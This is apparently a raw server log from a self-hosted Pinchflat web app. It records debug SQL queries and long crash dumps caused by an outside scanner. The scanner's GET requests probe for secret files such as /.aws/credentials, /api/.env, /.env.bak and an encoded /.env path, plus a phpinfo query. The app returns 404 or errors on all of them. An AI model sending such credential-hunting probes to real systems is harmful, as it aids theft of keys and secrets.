{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2f%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2f%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2f%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3173.0>, params: %{}, path_info: ["%2f%2eenv"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/%2f%2eenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdPpeuBj2XjQAAO-B"} ], scheme: :http, (truncated) 23:35:16.177 [info] GET / 23:35:16.178 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"phpinfo" => "1"} Pipelines: [:browser] 23:35:16.178 [debug] QUERY OK source="settings" db=0.1ms idle=314.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.178 [debug] QUERY OK source="media_profiles" db=0.0ms idle=228.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:35:16.178 [debug] QUERY OK source="sources" db=0.0ms idle=228.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:35:16.179 [debug] QUERY OK source="media_items" db=0.1ms idle=113.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:16.179 [debug] QUERY OK source="media_items" db=0.0ms idle=113.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:16.179 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.179 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.179 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.180 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:35:16.180 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 23:35:16.181 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:16.181 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:35:16.182 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 23:35:16.183 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:35:16.183 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:35:16.184 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:35:16.185 [info] Sent 200 in 7ms 23:35:16.473 [info] GET /.aws/credentials 23:35:16.475 [debug] QUERY OK source="settings" db=0.5ms idle=292.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.475 [debug] QUERY OK source="settings" db=0.3ms idle=293.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.475 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.476 [error] #PID<0.3175.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3175.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdRLC1gZmdtYAAPHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3175.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdRLC1gZmdtYAAPHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 23:35:16.601 [info] GET /api/.env 23:35:16.601 [debug] QUERY OK source="settings" db=0.2ms idle=418.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.602 [debug] QUERY OK source="settings" db=0.1ms idle=418.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.602 [error] #PID<0.3176.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3176.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdRpZ8VNLOXgAAPIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3176.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdRpZ8VNLOXgAAPIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 23:35:16.720 [info] GET /.env.bak 23:35:16.722 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=537.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.722 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=247.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.722 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.723 [error] #PID<0.3177.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 10) terminated Server: 